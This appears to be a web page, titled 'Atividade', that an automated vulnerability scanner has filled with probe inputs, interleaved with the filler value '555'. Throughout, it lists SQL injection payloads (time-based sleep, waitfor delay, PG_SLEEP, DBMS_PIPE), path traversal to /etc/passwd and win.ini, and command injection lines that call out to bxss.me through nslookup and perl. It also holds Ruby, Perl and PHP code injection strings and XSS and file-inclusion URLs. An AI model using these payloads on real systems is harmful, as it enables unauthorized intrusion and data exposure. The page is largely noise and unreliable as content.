Atividade

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

1′”

\

@@tWPZe

JyI=

555

555

555

555

555

555

555

555

555

555

555

555

“+”A”.concat(70-3).concat(22*4).concat(115).concat(88).concat(118).concat(74)+(require”socket”
Socket.gethostbyname(“hitzc”+”nsdqlitvd6487.bxss.me.”)[3].to_s)+”

555

555

‘+’A’.concat(70-3).concat(22*4).concat(115).concat(82).concat(121).concat(88)+(require’socket’
Socket.gethostbyname(‘hitim’+’vcevplcd2f044.bxss.me.’)[3].to_s)+’

555

555

555

555

555

555

555

555

555

555

555

555

http://bxss.me/t/xss.html?%00

555

bxss.me/t/xss.html?%00

555

555

555

555&n908471=v977717

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

er1lbRf6

555

555

555

555

555

555

555

555

555

555

555

555

555

-1 OR 2+136-136-1=0+0+0+1 —

555

555

../../../../../../../../../../etc/passwd

-1 OR 2+56-56-1=0+0+0+1

555

555

-1′ OR 2+59-59-1=0+0+0+1 —

555

../../../../../../../../../../windows/win.ini

555

555

555

-1′ OR 2+38-38-1=0+0+0+1 or ‘h97ygWPB’=’

../555

555

555

-1″ OR 2+969-969-1=0+0+0+1 —

555

555

104′

555

555

555

if(now()=sysdate(),sleep(12),0)

555

555

${9999942+10000303}

echo cxcrzl$()\ ylzbcp\nz^xyu||a #’ &echo cxcrzl$()\ ylzbcp\nz^xyu||a #|” &echo cxcrzl$()\ ylzbcp\nz^xyu||a #

response.write(9831996*9318694)

0’XOR(if(now()=sysdate(),sleep(12),0))XOR’Z

0″XOR(if(now()=sysdate(),sleep(12),0))XOR”Z

‘+response.write(9831996*9318694)+’

&echo gfaulu$()\ rpssfr\nz^xyu||a #’ &echo gfaulu$()\ rpssfr\nz^xyu||a #|” &echo gfaulu$()\ rpssfr\nz^xyu||a #

555

555

(select(0)from(select(sleep(12)))v)/*’+(select(0)from(select(sleep(12)))v)+'”+(select(0)from(select(sleep(12)))v)+”*/

“+response.write(9831996*9318694)+”

|echo lnxrkz$()\ nqapre\nz^xyu||a #’ |echo lnxrkz$()\ nqapre\nz^xyu||a #|” |echo lnxrkz$()\ nqapre\nz^xyu||a #

555

555

(nslookup hitmgqdrlxvse64c3c.bxss.me||perl -e “gethostbyname(‘hitmgqdrlxvse64c3c.bxss.me’)”)

-1; waitfor delay ‘0:0:12’ —

555

555

$(nslookup hittzizfydkrf9a305.bxss.me||perl -e “gethostbyname(‘hittzizfydkrf9a305.bxss.me’)”)

-1); waitfor delay ‘0:0:12’ —

555

555

&(nslookup hitfpznyklfgcdaa8b.bxss.me||perl -e “gethostbyname(‘hitfpznyklfgcdaa8b.bxss.me’)”)&’\”`0&(nslookup hitfpznyklfgcdaa8b.bxss.me||perl -e “gethostbyname(‘hitfpznyklfgcdaa8b.bxss.me’)”)&`’

1 waitfor delay ‘0:0:12’ —

555

555

555

|(nslookup hitdflbawtofp411be.bxss.me||perl -e “gethostbyname(‘hitdflbawtofp411be.bxss.me’)”)

bGcYtCQj’; waitfor delay ‘0:0:12’ —

555

555

`(nslookup hitzvyusacoqy642e3.bxss.me||perl -e “gethostbyname(‘hitzvyusacoqy642e3.bxss.me’)”)`

-5 OR 523=(SELECT 523 FROM PG_SLEEP(12))–

555

;(nslookup hitkracipheec69c30.bxss.me||perl -e “gethostbyname(‘hitkracipheec69c30.bxss.me’)”)|(nslookup hitkracipheec69c30.bxss.me||perl -e “gethostbyname(‘hitkracipheec69c30.bxss.me’)”)&(nslookup hitkracipheec69c30.bxss.me||perl -e “gethostbyname(‘hitkracipheec69c30.bxss.me’)”)

-5) OR 378=(SELECT 378 FROM PG_SLEEP(12))–

-1)) OR 173=(SELECT 173 FROM PG_SLEEP(12))–

555

c83aL5oY’ OR 185=(SELECT 185 FROM PG_SLEEP(12))–

555

555

NFy59Z8y’) OR 401=(SELECT 401 FROM PG_SLEEP(12))–

555

555

555

cO1VGui4′)) OR 717=(SELECT 717 FROM PG_SLEEP(12))–

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

555

)

555

555

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||’

!(()&&!|*|*|

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555

555

555

^(#$!@#$)(()))******

1some_inexistent_file_with_long_name.jpg

555

555

555

http://bxss.me/t/fit.txt

555

http://bxss.me/t/fit.txt?.jpg

;print(md5(31337));

555

555

‘;print(md5(31337));$a=’

bxss.me

“;print(md5(31337));$a=”

555

555

${@print(md5(31337))}

${@print(md5(31337))}\

‘”()

‘.print(md5(31337)).’

555

555

555

555

‘.gethostbyname(lc(‘hityx’.’dlxydyxk5d3f0.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(116).chr(89).chr(112).chr(83).’

555

“.gethostbyname(lc(“hitql”.”yadsnsmxa283e.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(110).chr(77).chr(108).chr(81).”

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

‘”

555

555

555

555

<!–

555

555

555

555

555

index.php

555

/xfs.bxss.me

index.php

index.php/.

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555′”()&%vHOl(9570)

‘”()&%vHOl(9605)

5559841951

555